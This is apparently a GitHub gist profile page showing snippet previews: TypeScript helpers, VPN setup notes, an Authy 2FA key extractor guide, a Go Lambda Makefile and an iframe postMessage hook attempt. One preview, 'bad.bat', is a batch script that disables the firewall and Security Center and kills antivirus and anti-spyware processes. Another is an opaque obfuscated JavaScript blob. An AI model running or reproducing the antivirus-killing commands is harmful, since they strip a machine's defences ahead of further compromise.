Skip to content

Instantly share code, notes, and snippets.

💭
oof

Thomas Neil James Shadwell Zemnmez

💭
oof
Block or report user

Report or block Zemnmez

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View fuzzy-hoc.ts
import * as React from 'react';
import {A, T} from 'ts-toolbelt'
import { O } from 'ts-toolbelt';
import { Any } from 'ts-toolbelt';
import { Assign } from 'Object/_api';
/**
* Fuzzy is a Higher Order Component.
* It consumes a component and keys that
* can be searched on that component.
View eventuallyiterable.ts
type Eventually<T> =
T | Promise<T>;
type EventuallyIterable<T> = Iterable<T> | AsyncIterable<T>
const map:
<T,O>(f: Eventually<(v: T, i: number) => O>, v: EventuallyIterable<T>) => EventuallyIterable<O>
=
async function*(f, iter) {
let n = 0;
@Zemnmez
Zemnmez / hookAll.js
Created Nov 19, 2019
attempt to recursively hook iframe postMessages (doesn't work due to browser security policies)
View hookAll.js
((() => {
console.log("postMessage hook added");
new MutationObserver((mutations, observer) => {
const flatten = (a,c) => a.concat(c);
const allNodes = mutations.filter(({ type }) => type == "childList")
.map(({ addedNodes }) => Array.from(addedNodes)).reduce(flatten, []);
allNodes
.forEach(parentNode => {
if (!parentNode.getElementsByTagName) return;
@Zemnmez
Zemnmez / how.md
Last active Nov 7, 2019
L2TP / ipsec VPN, Amazon Linux (EC2)
View how.md
# adapted from http://spottedhyena.co.uk/centos-67-ipsecl2tp-vpn-client-unifi-usg-l2tp-server/
yum -y install epel # different on amazon linux
sudo yum -y install xl2tpd openswan
systemctl start ipsec.service
service ipsec start

# 'myserver.com' is just to help identify. these are all imported into /etc/ipsec.conf.

vim /etc/ipsec.d/myserver.com.conf # see next...
View bad.bat
@ echo off
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
View ip.ts
"use strict";
const errorTester = () => (rsp) => !(rsp instanceof Error);
const asGuardType = (f) => (v) => [f(v), errorTester()];
const must = (f) => (v) => {
const [rsp, tstRsp] = asGuardType(f)(v);
if (!tstRsp(rsp))
throw rsp;
return rsp;
};
const hasLen = (n) => (v) => v.length == n ? v : new Error(`expected length of ${n}, but got ${v.length}`);
View test2.js
String.fromCharCode(($=2*5),(q=(2*6+1)*5),(a=4*8),(Â=(2*9+1)*6),(Y=4*5*5+1),($+1)*9,(y=(2*6+1)
*9),Â,Â,Y,($+1)*$,(È=(4*7+1)*4),a,($+1)*$,Y,y,Â,(E=2*6*8+1),(K=2*6*9),a,($+1)*$,Y,È,
(À=(2*8+1)*7),(Ê=(4*9+1)*3),Â,(G=2*6*9-1),a,(e=5*8),((c=5*8+1))*2,(s=(2*6+1)*6),s,c,
a,(S=3*5*7),(Æ=(3*8-1)*5),a,E,a,($+1)*9,K,E,Æ,Æ,a,Ê,(º=(2*8+1)*6),a,E,Â,È,S,º,S,($+1
)*9,S,E,K,a,($+1)*$,Y,y,Â,E,K,a,($+1)*$,Y,È,À,Ê,Â,G,a,À,(w=(2*6+1)*8),Y,Â,Y,a,($+1)*
9,Ê,($+1)*$,($+1)*$,Y,($+1)*9,È,S,Ê,($+1)*$,Æ,a,(M=2*7*7),Y,È,À,Y,Y,($+1)*$,a,($+1)*
$,Ê,(_=4*5*5),Y,Æ,a,º,Ê,Â,(I=2*6*9+1),a,E,a,_,S,Â,Y,($+1)*9,È,Y,_,a,(µ=(2*8+1)*6+1),
Â,E,(Q=2*7*8),w,a,E,K,Ê,($+1)*$,µ,a,E,a,È,Y,I,Q,Ê,Â,E,K,a,Æ,Y,(O=2*7*8+1),y,Y,($+1)*
$,($+1)*9,Y,(Ä=(3*8-1)*2),a,(C=2*6*7),w,S,Æ,a,E,K,K,Ê,À,Æ,a,S,È,a,È,Ê,a,Y,(W=3*5*8),
w,S,M,S,È,a,È,Y,I,Q,Ê,Â,E,K,a,_,(U=3*5*8+1),($+1)*$,E,I,S,($+1)*9,a,M,Y,w,E,($*6-1)*
@Zemnmez
Zemnmez / authy_extract.md
Last active Oct 27, 2019 — forked from tresni/gist:83b9181588c7393f6853
Authy OTP 2FA Extractor (authy to 1password, google authenticator etc)
View authy_extract.md

Authy OTP 2FA Extractor

Inspired by the original gist.

This snippet will extract all the OTP (2FA) keys from Authy, and convert them to scannable QR codes and URLs you can copy-paste into e.g. 1password. Unlike other approaches, this consumes the internal digits record, making it compatible with authy-specific extra long 2FA codes.

Usage

  1. Install the Authy Chrome Extension and the Authy App.
  2. Open the authy app from the browser icon in the top right, and view some TOTP codes. This decrypts them so we can extract them.
  3. Visit the Chrome Inspector Page (chrome://inspect/#apps) and click 'inspect' under 'Authy'. If that's not there, you likely need to open the Authy app from chrome://apps/.
  4. In the window
@Zemnmez
Zemnmez / Makefile
Created Feb 24, 2019
makefile for golang aws lambda
View Makefile
# expect handler/handlername handler/handler2 etc.
dist.zip: $(patsubst handler/%,dist/%,$(wildcard handler/*))
zip -FSj $@ $^
#getDeps = $(shell go list -f '{{.Deps}}' $(1) | xargs go list -f '{{$$this:=.}}{{range .GoFiles}}{{$$this.Dir}}/{{.}} {{end}}')
# maybe one day i will generate the deps dynamically lol
# must be forced because cant determine whether update is
# needed purely based on go files
dist/%: handler/% .FORCE
@Zemnmez
Zemnmez / variadic-curry-golfed.js
Last active Feb 20, 2019
variadic curry, javascript
View variadic-curry-golfed.js
z=f=>(...a)=>+a!=0?z(f.bind(0,...a)):f()
You can’t perform that action at this time.